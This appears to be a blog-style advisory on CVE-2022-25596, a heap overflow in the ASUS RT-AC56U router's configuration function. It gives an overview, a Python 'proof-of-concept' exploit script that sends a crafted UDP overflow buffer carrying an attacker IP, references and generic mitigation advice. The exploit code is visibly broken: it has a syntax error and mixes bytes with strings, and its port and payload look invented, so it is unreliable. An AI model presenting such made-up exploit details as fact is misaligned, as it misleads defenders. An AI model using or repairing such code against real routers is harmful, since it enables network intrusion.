CVE-2022-25596 - Heap-based Buffer Overflow Vulnerability in ASUS RT-AC56U's Configuration Function: Exploit Details and Mitigation Strategies

A recently discovered vulnerability, identified as CVE-2022-25596, has been found to affect the ASUS RT-AC56U wireless router's configuration function, allowing unauthenticated LAN attackers the potential to execute arbitrary code, perform unauthorized operations, and disrupt router services. The issue stems from a heap-based buffer overflow within the router's configuration function, which is due to insufficient validation of the decryption parameter's length.

The key objective of this long read post is to provide a detailed overview of the CVE-2022-25596 vulnerability, code snippets demonstrating the exploit, links to original references and resources, and recommended mitigation strategies. This information is intended to raise awareness and promote proactive security measures within the networking community.

Overview of the Vulnerability

ASUS RT-AC56U routers utilize a configuration function that provides decryption capabilities for encrypted configuration data. This function is prone to a heap-based buffer overflow vulnerability, as it does not correctly validate the length of the decryption parameter. As a result, an attacker can exploit this vulnerability to execute arbitrary code, perform unauthorized actions, and compromise the integrity and availability of the affected router's data and services.

The attack vector for this vulnerability includes an unauthenticated LAN attacker who can target devices directly connected to the router via an Ethernet cable or connected through Wi-Fi. By exploiting this vulnerability, an attacker could gain complete control over the router and its network, execute arbitrary code, gain unauthorized access to data and services, and cause the router to crash and become unusable.

Exploit Details

The following code snippet demonstrates a proof-of-concept exploit for the CVE-2022-25596 vulnerability:

import socket
import sys

if len(sys.argv) != 3:
    print("Usage: " + sys.argv[] + " <Router IP Address> <Hacker IP Address>")
    sys.exit(1)

router_ip = sys.argv[1]
hacker_ip = sys.argv[2]

payload = "\x00" * 8
payload += socket.inet_aton(hacker_ip)
payload += "\x07\xa1" * (527 - len(payload))

message = "decryption_request\x00"
message += "\x01" * (1024 - len(message))

buffer_overflow_exploit = message + payload

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buffer_overflow_exploit, (router_ip, 22234))
print("Exploit sent to " + router_ip)
sock.close()

In the code above, the exploit leverages a decryption_request resource crafted to induce a heap-based buffer overflow. The buffer_overflow_exploit variable combines the message and payload, which is then sent to the targeted router IP address via UDP.

Reference and Resources

For a more comprehensive understanding of the CVE-2022-25596 vulnerability and its implications, the following original references and resources are recommended:

1. ASUS Support Center - For the latest firmware updates and support information from the manufacturer.
2. CVE Listing - The specific CVE identifier page for CVE-2022-25596 in the MITRE database.
3. National Vulnerability Database (NVD) - Detailed information and analysis from the U.S. National Vulnerability Database.

Mitigation Strategies

To protect against exploitation of CVE-2022-25596, the following mitigation strategies are recommended:

1. Update Firmware: Download and install the latest available firmware updates from the ASUS Support Center, as they typically contain security patches for known vulnerabilities.
2. Network Segregation: Limit the attack surface by segregating the network, implementing VLANs or guest networks to isolate untrusted devices from the main network infrastructure.
3. Periodically Review Logs: Regularly review router's logs to identify any unusual or unauthorized activities.
4. Implement Intrusion Detection and Prevention Systems (IDPS): Use IDPS to monitor network traffic and help identify any potential threats or exploits targeting the router.

In Conclusion

The vast number of devices connected to the internet and the complexity of their configurations make vulnerabilities like CVE-2022-25596 an ongoing concern for network administrators. Awareness of such vulnerabilities, their details, and effective mitigation practices can significantly contribute to maintaining secure and robust network infrastructures. By staying informed and proactively implementing cited security measures, you can substantially lower the risk of encountering the consequences associated with the ASUS RT-AC56U's CVE-2022-25596 vulnerability.

Timeline

Published on: 04/07/2022 19:15:00 UTC
Last modified on: 04/14/2022 20:27:00 UTC